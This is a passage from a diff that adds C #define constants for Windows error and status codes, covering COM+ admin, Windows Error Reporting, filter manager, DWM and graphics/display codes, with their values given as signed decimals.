-2146368509 +#define COMADMIN_E_ALREADYINSTALLED -2146368508 +#define COMADMIN_E_APP_FILE_WRITEFAIL -2146368505 +#define COMADMIN_E_APP_FILE_READFAIL -2146368504 +#define COMADMIN_E_APP_FILE_VERSION -2146368503 +#define COMADMIN_E_BADPATH -2146368502 +#define COMADMIN_E_APPLICATIONEXISTS -2146368501 +#define COMADMIN_E_ROLEEXISTS -2146368500 +#define COMADMIN_E_CANTCOPYFILE -2146368499 +#define COMADMIN_E_NOUSER -2146368497 +#define COMADMIN_E_INVALIDUSERIDS -2146368496 +#define COMADMIN_E_NOREGISTRYCLSID -2146368495 +#define COMADMIN_E_BADREGISTRYPROGID -2146368494 +#define COMADMIN_E_AUTHENTICATIONLEVEL -2146368493 +#define COMADMIN_E_USERPASSWDNOTVALID -2146368492 +#define COMADMIN_E_CLSIDORIIDMISMATCH -2146368488 +#define COMADMIN_E_REMOTEINTERFACE -2146368487 +#define COMADMIN_E_DLLREGISTERSERVER -2146368486 +#define COMADMIN_E_NOSERVERSHARE -2146368485 +#define COMADMIN_E_DLLLOADFAILED -2146368483 +#define COMADMIN_E_BADREGISTRYLIBID -2146368482 +#define COMADMIN_E_APPDIRNOTFOUND -2146368481 +#define COMADMIN_E_REGISTRARFAILED -2146368477 +#define COMADMIN_E_COMPFILE_DOESNOTEXIST -2146368476 +#define COMADMIN_E_COMPFILE_LOADDLLFAIL -2146368475 +#define COMADMIN_E_COMPFILE_GETCLASSOBJ -2146368474 +#define COMADMIN_E_COMPFILE_CLASSNOTAVAIL -2146368473 +#define COMADMIN_E_COMPFILE_BADTLB -2146368472 +#define COMADMIN_E_COMPFILE_NOTINSTALLABLE -2146368471 +#define COMADMIN_E_NOTCHANGEABLE -2146368470 +#define COMADMIN_E_NOTDELETEABLE -2146368469 +#define COMADMIN_E_SESSION -2146368468 +#define COMADMIN_E_COMP_MOVE_LOCKED -2146368467 +#define COMADMIN_E_COMP_MOVE_BAD_DEST -2146368466 +#define COMADMIN_E_REGISTERTLB -2146368464 +#define COMADMIN_E_SYSTEMAPP -2146368461 +#define COMADMIN_E_COMPFILE_NOREGISTRAR -2146368460 +#define COMADMIN_E_COREQCOMPINSTALLED -2146368459 +#define COMADMIN_E_SERVICENOTINSTALLED -2146368458 +#define COMADMIN_E_PROPERTYSAVEFAILED -2146368457 +#define COMADMIN_E_OBJECTEXISTS -2146368456 +#define COMADMIN_E_COMPONENTEXISTS -2146368455 +#define COMADMIN_E_REGFILE_CORRUPT -2146368453 +#define COMADMIN_E_PROPERTY_OVERFLOW -2146368452 +#define COMADMIN_E_NOTINREGISTRY -2146368450 +#define COMADMIN_E_OBJECTNOTPOOLABLE -2146368449 +#define COMADMIN_E_APPLID_MATCHES_CLSID -2146368442 +#define COMADMIN_E_ROLE_DOES_NOT_EXIST -2146368441 +#define COMADMIN_E_START_APP_NEEDS_COMPONENTS -2146368440 +#define COMADMIN_E_REQUIRES_DIFFERENT_PLATFORM -2146368439 +#define COMADMIN_E_CAN_NOT_EXPORT_APP_PROXY -2146368438 +#define COMADMIN_E_CAN_NOT_START_APP -2146368437 +#define COMADMIN_E_CAN_NOT_EXPORT_SYS_APP -2146368436 +#define COMADMIN_E_CANT_SUBSCRIBE_TO_COMPONENT -2146368435 +#define COMADMIN_E_EVENTCLASS_CANT_BE_SUBSCRIBER -2146368434 +#define COMADMIN_E_LIB_APP_PROXY_INCOMPATIBLE -2146368433 +#define COMADMIN_E_BASE_PARTITION_ONLY -2146368432 +#define COMADMIN_E_START_APP_DISABLED -2146368431 +#define COMADMIN_E_CAT_DUPLICATE_PARTITION_NAME -2146368425 +#define COMADMIN_E_CAT_INVALID_PARTITION_NAME -2146368424 +#define COMADMIN_E_CAT_PARTITION_IN_USE -2146368423 +#define COMADMIN_E_FILE_PARTITION_DUPLICATE_FILES -2146368422 +#define COMADMIN_E_CAT_IMPORTED_COMPONENTS_NOT_ALLOWED -2146368421 +#define COMADMIN_E_AMBIGUOUS_APPLICATION_NAME -2146368420 +#define COMADMIN_E_AMBIGUOUS_PARTITION_NAME -2146368419 +#define COMADMIN_E_REGDB_NOTINITIALIZED -2146368398 +#define COMADMIN_E_REGDB_NOTOPEN -2146368397 +#define COMADMIN_E_REGDB_SYSTEMERR -2146368396 +#define COMADMIN_E_REGDB_ALREADYRUNNING -2146368395 +#define COMADMIN_E_MIG_VERSIONNOTSUPPORTED -2146368384 +#define COMADMIN_E_MIG_SCHEMANOTFOUND -2146368383 +#define COMADMIN_E_CAT_BITNESSMISMATCH -2146368382 +#define COMADMIN_E_CAT_UNACCEPTABLEBITNESS -2146368381 +#define COMADMIN_E_CAT_WRONGAPPBITNESS -2146368380 +#define COMADMIN_E_CAT_PAUSE_RESUME_NOT_SUPPORTED -2146368379 +#define COMADMIN_E_CAT_SERVERFAULT -2146368378 +#define COMQC_E_APPLICATION_NOT_QUEUED -2146368000 +#define COMQC_E_NO_QUEUEABLE_INTERFACES -2146367999 +#define COMQC_E_QUEUING_SERVICE_NOT_AVAILABLE -2146367998 +#define COMQC_E_NO_IPERSISTSTREAM -2146367997 +#define COMQC_E_BAD_MESSAGE -2146367996 +#define COMQC_E_UNAUTHENTICATED -2146367995 +#define COMQC_E_UNTRUSTED_ENQUEUER -2146367994 +#define MSDTC_E_DUPLICATE_RESOURCE -2146367743 +#define COMADMIN_E_OBJECT_PARENT_MISSING -2146367480 +#define COMADMIN_E_OBJECT_DOES_NOT_EXIST -2146367479 +#define COMADMIN_E_APP_NOT_RUNNING -2146367478 +#define COMADMIN_E_INVALID_PARTITION -2146367477 +#define COMADMIN_E_SVCAPP_NOT_POOLABLE_OR_RECYCLABLE -2146367475 +#define COMADMIN_E_USER_IN_SET -2146367474 +#define COMADMIN_E_CANTRECYCLELIBRARYAPPS -2146367473 +#define COMADMIN_E_CANTRECYCLESERVICEAPPS -2146367471 +#define COMADMIN_E_PROCESSALREADYRECYCLED -2146367470 +#define COMADMIN_E_PAUSEDPROCESSMAYNOTBERECYCLED -2146367469 +#define COMADMIN_E_CANTMAKEINPROCSERVICE -2146367468 +#define COMADMIN_E_PROGIDINUSEBYCLSID -2146367467 +#define COMADMIN_E_DEFAULT_PARTITION_NOT_IN_SET -2146367466 +#define COMADMIN_E_RECYCLEDPROCESSMAYNOTBEPAUSED -2146367465 +#define COMADMIN_E_PARTITION_ACCESSDENIED -2146367464 +#define COMADMIN_E_PARTITION_MSI_ONLY -2146367463 +#define COMADMIN_E_LEGACYCOMPS_NOT_ALLOWED_IN_1_0_FORMAT -2146367462 +#define COMADMIN_E_LEGACYCOMPS_NOT_ALLOWED_IN_NONBASE_PARTITIONS -2146367461 +#define COMADMIN_E_COMP_MOVE_SOURCE -2146367460 +#define COMADMIN_E_COMP_MOVE_DEST -2146367459 +#define COMADMIN_E_COMP_MOVE_PRIVATE -2146367458 +#define COMADMIN_E_BASEPARTITION_REQUIRED_IN_SET -2146367457 +#define COMADMIN_E_CANNOT_ALIAS_EVENTCLASS -2146367456 +#define COMADMIN_E_PRIVATE_ACCESSDENIED -2146367455 +#define COMADMIN_E_SAFERINVALID -2146367454 +#define COMADMIN_E_REGISTRY_ACCESSDENIED -2146367453 +#define COMADMIN_E_PARTITIONS_DISABLED -2146367452 +#define MENROLL_S_ENROLLMENT_SUSPENDED 1572881 +#define WER_S_REPORT_DEBUG 1769472 +#define WER_S_REPORT_UPLOADED 1769473 +#define WER_S_REPORT_QUEUED 1769474 +#define WER_S_DISABLED 1769475 +#define WER_S_SUSPENDED_UPLOAD 1769476 +#define WER_S_DISABLED_QUEUE 1769477 +#define WER_S_DISABLED_ARCHIVE 1769478 +#define WER_S_REPORT_ASYNC 1769479 +#define WER_S_IGNORE_ASSERT_INSTANCE 1769480 +#define WER_S_IGNORE_ALL_ASSERTS 1769481 +#define WER_S_ASSERT_CONTINUE 1769482 +#define WER_S_THROTTLED 1769483 +#define WER_S_REPORT_UPLOADED_CAB 1769484 +#define WER_E_CRASH_FAILURE -2145681408 +#define WER_E_CANCELED -2145681407 +#define WER_E_NETWORK_FAILURE -2145681406 +#define WER_E_NOT_INITIALIZED -2145681405 +#define WER_E_ALREADY_REPORTING -2145681404 +#define WER_E_DUMP_THROTTLED -2145681403 +#define WER_E_INSUFFICIENT_CONSENT -2145681402 +#define WER_E_TOO_HEAVY -2145681401 +#define ERROR_FLT_IO_COMPLETE 2031617 +#define ERROR_FLT_NO_HANDLER_DEFINED -2145452031 +#define ERROR_FLT_CONTEXT_ALREADY_DEFINED -2145452030 +#define ERROR_FLT_INVALID_ASYNCHRONOUS_REQUEST -2145452029 +#define ERROR_FLT_DISALLOW_FAST_IO -2145452028 +#define ERROR_FLT_INVALID_NAME_REQUEST -2145452027 +#define ERROR_FLT_NOT_SAFE_TO_POST_OPERATION -2145452026 +#define ERROR_FLT_NOT_INITIALIZED -2145452025 +#define ERROR_FLT_FILTER_NOT_READY -2145452024 +#define ERROR_FLT_POST_OPERATION_CLEANUP -2145452023 +#define ERROR_FLT_INTERNAL_ERROR -2145452022 +#define ERROR_FLT_DELETING_OBJECT -2145452021 +#define ERROR_FLT_MUST_BE_NONPAGED_POOL -2145452020 +#define ERROR_FLT_DUPLICATE_ENTRY -2145452019 +#define ERROR_FLT_CBDQ_DISABLED -2145452018 +#define ERROR_FLT_DO_NOT_ATTACH -2145452017 +#define ERROR_FLT_DO_NOT_DETACH -2145452016 +#define ERROR_FLT_INSTANCE_ALTITUDE_COLLISION -2145452015 +#define ERROR_FLT_INSTANCE_NAME_COLLISION -2145452014 +#define ERROR_FLT_FILTER_NOT_FOUND -2145452013 +#define ERROR_FLT_VOLUME_NOT_FOUND -2145452012 +#define ERROR_FLT_INSTANCE_NOT_FOUND -2145452011 +#define ERROR_FLT_CONTEXT_ALLOCATION_NOT_FOUND -2145452010 +#define ERROR_FLT_INVALID_CONTEXT_REGISTRATION -2145452009 +#define ERROR_FLT_NAME_CACHE_MISS -2145452008 +#define ERROR_FLT_NO_DEVICE_OBJECT -2145452007 +#define ERROR_FLT_VOLUME_ALREADY_MOUNTED -2145452006 +#define ERROR_FLT_ALREADY_ENLISTED -2145452005 +#define ERROR_FLT_CONTEXT_ALREADY_LINKED -2145452004 +#define ERROR_FLT_NO_WAITER_FOR_REPLY -2145452000 +#define ERROR_FLT_REGISTRATION_BUSY -2145451997 +#define ERROR_FLT_WCOS_NOT_SUPPORTED -2145451996 +#define ERROR_HUNG_DISPLAY_DRIVER_THREAD -2144993279 +#define DWM_E_COMPOSITIONDISABLED -2144980991 +#define DWM_E_REMOTING_NOT_SUPPORTED -2144980990 +#define DWM_E_NO_REDIRECTION_SURFACE_AVAILABLE -2144980989 +#define DWM_E_NOT_QUEUING_PRESENTS -2144980988 +#define DWM_E_ADAPTER_NOT_FOUND -2144980987 +#define DWM_S_GDI_REDIRECTION_SURFACE 2502661 +#define DWM_E_TEXTURE_TOO_LARGE -2144980985 +#define DWM_S_GDI_REDIRECTION_SURFACE_BLT_VIA_GDI 2502664 +#define ERROR_MONITOR_NO_DESCRIPTOR 2494465 +#define ERROR_MONITOR_UNKNOWN_DESCRIPTOR_FORMAT 2494466 +#define ERROR_MONITOR_INVALID_DESCRIPTOR_CHECKSUM -1071247357 +#define ERROR_MONITOR_INVALID_STANDARD_TIMING_BLOCK -1071247356 +#define ERROR_MONITOR_WMI_DATABLOCK_REGISTRATION_FAILED -1071247355 +#define ERROR_MONITOR_INVALID_SERIAL_NUMBER_MONDSC_BLOCK -1071247354 +#define ERROR_MONITOR_INVALID_USER_FRIENDLY_MONDSC_BLOCK -1071247353 +#define ERROR_MONITOR_NO_MORE_DESCRIPTOR_DATA -1071247352 +#define ERROR_MONITOR_INVALID_DETAILED_TIMING_BLOCK -1071247351 +#define ERROR_MONITOR_INVALID_MANUFACTURE_DATE -1071247350 +#define ERROR_GRAPHICS_NOT_EXCLUSIVE_MODE_OWNER -1071243264 +#define ERROR_GRAPHICS_INSUFFICIENT_DMA_BUFFER -1071243263 +#define ERROR_GRAPHICS_INVALID_DISPLAY_ADAPTER -1071243262 +#define ERROR_GRAPHICS_ADAPTER_WAS_RESET -1071243261 +#define ERROR_GRAPHICS_INVALID_DRIVER_MODEL -1071243260 +#define ERROR_GRAPHICS_PRESENT_MODE_CHANGED -1071243259 +#define ERROR_GRAPHICS_PRESENT_OCCLUDED -1071243258 +#define ERROR_GRAPHICS_PRESENT_DENIED -1071243257 +#define ERROR_GRAPHICS_CANNOTCOLORCONVERT -1071243256 +#define ERROR_GRAPHICS_DRIVER_MISMATCH -1071243255 +#define ERROR_GRAPHICS_PARTIAL_DATA_POPULATED 1076240394 +#define ERROR_GRAPHICS_PRESENT_REDIRECTION_DISABLED -1071243253 +#define ERROR_GRAPHICS_PRESENT_UNOCCLUDED -1071243252 +#define ERROR_GRAPHICS_WINDOWDC_NOT_AVAILABLE -1071243251 +#define ERROR_GRAPHICS_WINDOWLESS_PRESENT_DISABLED -1071243250 +#define ERROR_GRAPHICS_PRESENT_INVALID_WINDOW -1071243249 +#define ERROR_GRAPHICS_PRESENT_BUFFER_NOT_BOUND -1071243248 +#define ERROR_GRAPHICS_VAIL_STATE_CHANGED -1071243247 +#define ERROR_GRAPHICS_INDIRECT_DISPLAY_ABANDON_SWAPCHAIN -1071243246 +#define ERROR_GRAPHICS_INDIRECT_DISPLAY_DEVICE_STOPPED -1071243245 +#define ERROR_GRAPHICS_VAIL_FAILED_TO_SEND_CREATE_SUPERWETINK_MESSAGE -1071243244 +#define ERROR_GRAPHICS_VAIL_FAILED_TO_SEND_DESTROY_SUPERWETINK_MESSAGE -1071243243 +#define ERROR_GRAPHICS_VAIL_FAILED_TO_SEND_COMPOSITION_WINDOW_DPI_MESSAGE -1071243242 +#define ERROR_GRAPHICS_LINK_CONFIGURATION_IN_PROGRESS -1071243241 +#define ERROR_GRAPHICS_MPO_ALLOCATION_UNPINNED -1071243240 +#define ERROR_GRAPHICS_SETDISPLAYMODE_REQUIRED -1071243239 +#define ERROR_GRAPHICS_NO_VIDEO_MEMORY -1071243008 +#define ERROR_GRAPHICS_CANT_LOCK_MEMORY -1071243007 +#define ERROR_GRAPHICS_ALLOCATION_BUSY -1071243006 +#define ERROR_GRAPHICS_TOO_MANY_REFERENCES -1071243005 +#define ERROR_GRAPHICS_TRY_AGAIN_LATER -1071243004 +#define ERROR_GRAPHICS_TRY_AGAIN_NOW -1071243003 +#define ERROR_GRAPHICS_ALLOCATION_INVALID -1071243002 +#define ERROR_GRAPHICS_UNSWIZZLING_APERTURE_UNAVAILABLE -1071243001 +#define ERROR_GRAPHICS_UNSWIZZLING_APERTURE_UNSUPPORTED -1071243000 +#define ERROR_GRAPHICS_CANT_EVICT_PINNED_ALLOCATION -1071242999 +#define ERROR_GRAPHICS_INVALID_ALLOCATION_USAGE -1071242992 +#define ERROR_GRAPHICS_CANT_RENDER_LOCKED_ALLOCATION -1071242991 +#define ERROR_GRAPHICS_ALLOCATION_CLOSED -1071242990 +#define ERROR_GRAPHICS_INVALID_ALLOCATION_INSTANCE -1071242989 +#define ERROR_GRAPHICS_INVALID_ALLOCATION_HANDLE -1071242988 +#define ERROR_GRAPHICS_WRONG_ALLOCATION_DEVICE -1071242987 +#define ERROR_GRAPHICS_ALLOCATION_CONTENT_LOST -1071242986 +#define ERROR_GRAPHICS_GPU_EXCEPTION_ON_DEVICE -1071242752 +#define ERROR_GRAPHICS_SKIP_ALLOCATION_PREPARATION 1076240897 +#define ERROR_GRAPHICS_INVALID_VIDPN_TOPOLOGY -1071242496 +#define ERROR_GRAPHICS_VIDPN_TOPOLOGY_NOT_SUPPORTED -1071242495 +#define ERROR_GRAPHICS_VIDPN_TOPOLOGY_CURRENTLY_NOT_SUPPORTED -1071242494 +#define ERROR_GRAPHICS_INVALID_VIDPN -1071242493 +#define ERROR_GRAPHICS_INVALID_VIDEO_PRESENT_SOURCE -1071242492 +#define ERROR_GRAPHICS_INVALID_VIDEO_PRESENT_TARGET -1071242491 +#define ERROR_GRAPHICS_VIDPN_MODALITY_NOT_SUPPORTED -1071242490 +#define ERROR_GRAPHICS_MODE_NOT_PINNED 2499335 +#define ERROR_GRAPHICS_INVALID_VIDPN_SOURCEMODESET -1071242488 +#define ERROR_GRAPHICS_INVALID_VIDPN_TARGETMODESET -1071242487 +#define ERROR_GRAPHICS_INVALID_FREQUENCY -1071242486 +#define ERROR_GRAPHICS_INVALID_ACTIVE_REGION -1071242485 +#define ERROR_GRAPHICS_INVALID_TOTAL_REGION -1071242484 +#define ERROR_GRAPHICS_INVALID_VIDEO_PRESENT_SOURCE_MODE -1071242480 +#define ERROR_GRAPHICS_INVALID_VIDEO_PRESENT_TARGET_MODE -1071242479 +#define ERROR_GRAPHICS_PINNED_MODE_MUST_REMAIN_IN_SET -1071242478 +#define ERROR_GRAPHICS_PATH_ALREADY_IN_TOPOLOGY -1071242477 +#define ERROR_GRAPHICS_MODE_ALREADY_IN_MODESET -1071242476 +#define ERROR_GRAPHICS_INVALID_VIDEOPRESENTSOURCESET -1071242475 +#define ERROR_GRAPHICS_INVALID_VIDEOPRESENTTARGETSET -1071242474 +#define ERROR_GRAPHICS_SOURCE_ALREADY_IN_SET -1071242473 +#define ERROR_GRAPHICS_TARGET_ALREADY_IN_SET -1071242472 +#define ERROR_GRAPHICS_INVALID_VIDPN_PRESENT_PATH -1071242471 +#define ERROR_GRAPHICS_NO_RECOMMENDED_VIDPN_TOPOLOGY -1071242470 +#define ERROR_GRAPHICS_INVALID_MONITOR_FREQUENCYRANGESET -1071242469 +#define ERROR_GRAPHICS_INVALID_MONITOR_FREQUENCYRANGE -1071242468 +#define ERROR_GRAPHICS_FREQUENCYRANGE_NOT_IN_SET -1071242467 +#define ERROR_GRAPHICS_NO_PREFERRED_MODE 2499358 +#define ERROR_GRAPHICS_FREQUENCYRANGE_ALREADY_IN_SET -1071242465 +#define ERROR_GRAPHICS_STALE_MODESET -1071242464 +#define ERROR_GRAPHICS_INVALID_MONITOR_SOURCEMODESET -1071242463 +#define ERROR_GRAPHICS_INVALID_MONITOR_SOURCE_MODE -1071242462 +#define ERROR_GRAPHICS_NO_RECOMMENDED_FUNCTIONAL_VIDPN -1071242461 +#define ERROR_GRAPHICS_MODE_ID_MUST_BE_UNIQUE -1071242460 +#define ERROR_GRAPHICS_EMPTY_ADAPTER_MONITOR_MODE_SUPPORT_INTERSECTION -1071242459 +#define ERROR_GRAPHICS_VIDEO_PRESENT_TARGETS_LESS_THAN_SOURCES -1071242458 +#define ERROR_GRAPHICS_PATH_NOT_IN_TOPOLOGY -1071242457 +#define ERROR_GRAPHICS_ADAPTER_MUST_HAVE_AT_LEAST_ONE_SOURCE -1071242456 +#define ERROR_GRAPHICS_ADAPTER_MUST_HAVE_AT_LEAST_ONE_TARGET -1071242455 +#define ERROR_GRAPHICS_INVALID_MONITORDESCRIPTORSET -1071242454 +#define ERROR_GRAPHICS_INVALID_MONITORDESCRIPTOR -1071242453 +#define ERROR_GRAPHICS_MONITORDESCRIPTOR_NOT_IN_SET -1071242452 +#define ERROR_GRAPHICS_MONITORDESCRIPTOR_ALREADY_IN_SET -1071242451 +#define ERROR_GRAPHICS_MONITORDESCRIPTOR_ID_MUST_BE_UNIQUE -1071242450 +#define ERROR_GRAPHICS_INVALID_VIDPN_TARGET_SUBSET_TYPE -1071242449 +#define ERROR_GRAPHICS_RESOURCES_NOT_RELATED -1071242448 +#define ERROR_GRAPHICS_SOURCE_ID_MUST_BE_UNIQUE -1071242447 +#define ERROR_GRAPHICS_TARGET_ID_MUST_BE_UNIQUE -1071242446 +#define ERROR_GRAPHICS_NO_AVAILABLE_VIDPN_TARGET -1071242445 +#define ERROR_GRAPHICS_MONITOR_COULD_NOT_BE_ASSOCIATED_WITH_ADAPTER -1071242444 +#define ERROR_GRAPHICS_NO_VIDPNMGR -1071242443 +#define ERROR_GRAPHICS_NO_ACTIVE_VIDPN -1071242442 +#define ERROR_GRAPHICS_STALE_VIDPN_TOPOLOGY -1071242441 +#define ERROR_GRAPHICS_MONITOR_NOT_CONNECTED -1071242440 +#define ERROR_GRAPHICS_SOURCE_NOT_IN_TOPOLOGY -1071242439 +#define ERROR_GRAPHICS_INVALID_PRIMARYSURFACE_SIZE -1071242438 +#define ERROR_GRAPHICS_INVALID_VISIBLEREGION_SIZE -1071242437 +#define ERROR_GRAPHICS_INVALID_STRIDE -1071242436 +#define ERROR_GRAPHICS_INVALID_PIXELFORMAT -1071242435 +#define ERROR_GRAPHICS_INVALID_COLORBASIS -1071242434 +#define ERROR_GRAPHICS_INVALID_PIXELVALUEACCESSMODE -1071242433 +#define ERROR_GRAPHICS_TARGET_NOT_IN_TOPOLOGY -1071242432 +#define ERROR_GRAPHICS_NO_DISPLAY_MODE_MANAGEMENT_SUPPORT -1071242431 +#define ERROR_GRAPHICS_VIDPN_SOURCE_IN_USE -1071242430 +#define ERROR_GRAPHICS_CANT_ACCESS_ACTIVE_VIDPN -1071242429 +#define ERROR_GRAPHICS_INVALID_PATH_IMPORTANCE_ORDINAL -1071242428 +#define ERROR_GRAPHICS_INVALID_PATH_CONTENT_GEOMETRY_TRANSFORMATION -1071242427 +#define ERROR_GRAPHICS_PATH_CONTENT_GEOMETRY_TRANSFORMATION_NOT_SUPPORTED -1071242426 +#define ERROR_GRAPHICS_INVALID_GAMMA_RAMP -1071242425 +#define ERROR_GRAPHICS_GAMMA_RAMP_NOT_SUPPORTED -1071242424 +#define ERROR_GRAPHICS_MULTISAMPLING_NOT_SUPPORTED -1071242423 +#define ERROR_GRAPHICS_MODE_NOT_IN_MODESET -1071242422 +#define ERROR_GRAPHICS_DATASET_IS_EMPTY 2499403 +#define ERROR_GRAPHICS_NO_MORE_ELEMENTS_IN_DATASET 2499404 +#define ERROR_GRAPHICS_INVALID_VIDPN_TOPOLOGY_RECOMMENDATION_REASON -1071242419 +#define ERROR_GRAPHICS_INVALID_PATH_CONTENT_TYPE -1071242418 +#define ERROR_GRAPHICS_INVALID_COPYPROTECTION_TYPE -1071242417 +#define ERROR_GRAPHICS_UNASSIGNED_MODESET_ALREADY_EXISTS -1071242416 +#define ERROR_GRAPHICS_PATH_CONTENT_GEOMETRY_TRANSFORMATION_NOT_PINNED 2499409 +#define ERROR_GRAPHICS_INVALID_SCANLINE_ORDERING -1071242414 +#define ERROR_GRAPHICS_TOPOLOGY_CHANGES_NOT_ALLOWED -1071242413 +#define ERROR_GRAPHICS_NO_AVAILABLE_IMPORTANCE_ORDINALS -1071242412 +#define ERROR_GRAPHICS_INCOMPATIBLE_PRIVATE_FORMAT -1071242411 +#define ERROR_GRAPHICS_INVALID_MODE_PRUNING_ALGORITHM -1071242410 +#define ERROR_GRAPHICS_INVALID_MONITOR_CAPABILITY_ORIGIN -1071242409 +#define ERROR_GRAPHICS_INVALID_MONITOR_FREQUENCYRANGE_CONSTRAINT -1071242408 +#define ERROR_GRAPHICS_MAX_NUM_PATHS_REACHED -1071242407 +#define ERROR_GRAPHICS_CANCEL_VIDPN_TOPOLOGY_AUGMENTATION -1071242406 +#define ERROR_GRAPHICS_INVALID_CLIENT_TYPE -1071242405 +#define ERROR_GRAPHICS_CLIENTVIDPN_NOT_SET -1071242404 +#define ERROR_GRAPHICS_SPECIFIED_CHILD_ALREADY_CONNECTED -1071242240 +#define ERROR_GRAPHICS_CHILD_DESCRIPTOR_NOT_SUPPORTED -1071242239 +#define ERROR_GRAPHICS_UNKNOWN_CHILD_STATUS 1076241455 +#define ERROR_GRAPHICS_NOT_A_LINKED_ADAPTER -1071242192 +#define ERROR_GRAPHICS_LEADLINK_NOT_ENUMERATED -1071242191 +#define ERROR_GRAPHICS_CHAINLINKS_NOT_ENUMERATED -1071242190 +#define ERROR_GRAPHICS_ADAPTER_CHAIN_NOT_READY -1071242189 +#define ERROR_GRAPHICS_CHAINLINKS_NOT_STARTED -1071242188 +#define ERROR_GRAPHICS_CHAINLINKS_NOT_POWERED_ON -1071242187 +#define ERROR_GRAPHICS_INCONSISTENT_DEVICE_LINK_STATE -1071242186 +#define ERROR_GRAPHICS_LEADLINK_START_DEFERRED 1076241463 +#define ERROR_GRAPHICS_NOT_POST_DEVICE_DRIVER -1071242184 +#define ERROR_GRAPHICS_POLLING_TOO_FREQUENTLY 1076241465 +#define ERROR_GRAPHICS_START_DEFERRED 1076241466 +#define ERROR_GRAPHICS_ADAPTER_ACCESS_NOT_EXCLUDED -1071242181 +#define ERROR_GRAPHICS_DEPENDABLE_CHILD_STATUS 1076241468 +#define ERROR_GRAPHICS_OPM_NOT_SUPPORTED -1071241984 +#define ERROR_GRAPHICS_COPP_NOT_SUPPORTED -1071241983 +#define ERROR_GRAPHICS_UAB_NOT_SUPPORTED -1071241982 +#define ERROR_GRAPHICS_OPM_INVALID_ENCRYPTED_PARAMETERS -1071241981 +#define ERROR_GRAPHICS_OPM_NO_VIDEO_OUTPUTS_EXIST -1071241979 +#define ERROR_GRAPHICS_OPM_INTERNAL_ERROR -1071241973 +#define ERROR_GRAPHICS_OPM_INVALID_HANDLE -1071241972 +#define ERROR_GRAPHICS_PVP_INVALID_CERTIFICATE_LENGTH -1071241970 +#define ERROR_GRAPHICS_OPM_SPANNING_MODE_ENABLED -1071241969 +#define ERROR_GRAPHICS_OPM_THEATER_MODE_ENABLED -1071241968 +#define ERROR_GRAPHICS_PVP_HFS_FAILED -1071241967 +#define ERROR_GRAPHICS_OPM_INVALID_SRM -1071241966 +#define ERROR_GRAPHICS_OPM_OUTPUT_DOES_NOT_SUPPORT_HDCP -1071241965 +#define ERROR_GRAPHICS_OPM_OUTPUT_DOES_NOT_SUPPORT_ACP -1071241964 +#define ERROR_GRAPHICS_OPM_OUTPUT_DOES_NOT_SUPPORT_CGMSA -1071241963 +#define ERROR_GRAPHICS_OPM_HDCP_SRM_NEVER_SET -1071241962 +#define ERROR_GRAPHICS_OPM_RESOLUTION_TOO_HIGH -1071241961 +#define ERROR_GRAPHICS_OPM_ALL_HDCP_HARDWARE_ALREADY_IN_USE -1071241960 +#define ERROR_GRAPHICS_OPM_VIDEO_OUTPUT_NO_LONGER_EXISTS -1071241958 +#define ERROR_GRAPHICS_OPM_SESSION_TYPE_CHANGE_IN_PROGRESS -1071241957 +#define ERROR_GRAPHICS_OPM_VIDEO_OUTPUT_DOES_NOT_HAVE_COPP_SEMANTICS -1071241956 +#define ERROR_GRAPHICS_OPM_INVALID_INFORMATION_REQUEST -1071241955 +#define ERROR_GRAPHICS_OPM_DRIVER_INTERNAL_ERROR -1071241954 +#define ERROR_GRAPHICS_OPM_VIDEO_OUTPUT_DOES_NOT_HAVE_OPM_SEMANTICS -1071241953 +#define ERROR_GRAPHICS_OPM_SIGNALING_NOT_SUPPORTED -1071241952 +#define ERROR_GRAPHICS_OPM_INVALID_CONFIGURATION_REQUEST -1071241951 +#define ERROR_GRAPHICS_I2C_NOT_SUPPORTED -1071241856 +#define ERROR_GRAPHICS_I2C_DEVICE_DOES_NOT_EXIST -1071241855 +#define ERROR_GRAPHICS_I2C_ERROR_TRANSMITTING_DATA -1071241854 +#define ERROR_GRAPHICS_I2C_ERROR_RECEIVING_DATA -1071241853 +#define ERROR_GRAPHICS_DDCCI_VCP_NOT_SUPPORTED -1071241852 +#define ERROR_GRAPHICS_DDCCI_INVALID_DATA -1071241851 +#define ERROR_GRAPHICS_DDCCI_MONITOR_RETURNED_INVALID_TIMING_STATUS_BYTE -1071241850 +#define ERROR_GRAPHICS_MCA_INVALID_CAPABILITIES_STRING -1071241849 +#define ERROR_GRAPHICS_MCA_INTERNAL_ERROR -1071241848 +#define ERROR_GRAPHICS_DDCCI_INVALID_MESSAGE_COMMAND -1071241847 +#define ERROR_GRAPHICS_DDCCI_INVALID_MESSAGE_LENGTH -1071241846 +#define ERROR_GRAPHICS_DDCCI_INVALID_MESSAGE_CHECKSUM -1071241845 +#define ERROR_GRAPHICS_INVALID_PHYSICAL_MONITOR_HANDLE -1071241844 +#define ERROR_GRAPHICS_MONITOR_NO_LONGER_EXISTS -1071241843 +#define ERROR_GRAPHICS_DDCCI_CURRENT_CURRENT_VALUE_GREATER_THAN_MAXIMUM_VALUE -1071241768 +#define ERROR_GRAPHICS_MCA_INVALID_VCP_VERSION -1071241767 +#define ERROR_GRAPHICS_MCA_MONITOR_VIOLATES_MCCS_SPECIFICATION -1071241766 +#define ERROR_GRAPHICS_MCA_MCCS_VERSION_MISMATCH -1071241765 +#define ERROR_GRAPHICS_MCA_UNSUPPORTED_MCCS_VERSION -1071241764 +#define ERROR_GRAPHICS_MCA_INVALID_TECHNOLOGY_TYPE_RETURNED -1071241762 +#define ERROR_GRAPHICS_MCA_UNSUPPORTED_COLOR_TEMPERATURE -1071241761 +#define ERROR_GRAPHICS_ONLY_CONSOLE_SESSION_SUPPORTED -1071241760 +#define ERROR_GRAPHICS_NO_DISPLAY_DEVICE_CORRESPONDS_TO_NAME -1071241759 +#define ERROR_GRAPHICS_DISPLAY_DEVICE_NOT_ATTACHED_TO_DESKTOP -1071241758 +#define ERROR_GRAPHICS_MIRRORING_DEVICES_NOT_SUPPORTED -1071241757 +#define ERROR_GRAPHICS_INVALID_POINTER -1071241756 +#define ERROR_GRAPHICS_NO_MONITORS_CORRESPOND_TO_DISPLAY_DEVICE -1071241755 +#define ERROR_GRAPHICS_PARAMETER_ARRAY_TOO_SMALL -1071241754 +#define ERROR_GRAPHICS_INTERNAL_ERROR -1071241753 +#define ERROR_GRAPHICS_SESSION_TYPE_CHANGE_IN_PROGRESS -1071249944 +#define ERROR_GRAPHICS_UNKNOWN_BIOS_FRAME_BUFFER_NOT_FOUND -1071241728 +#define ERROR_GRAPHICS_UEFI_FRAME_BUFFER_NOT_FOUND -1071241727 +#define 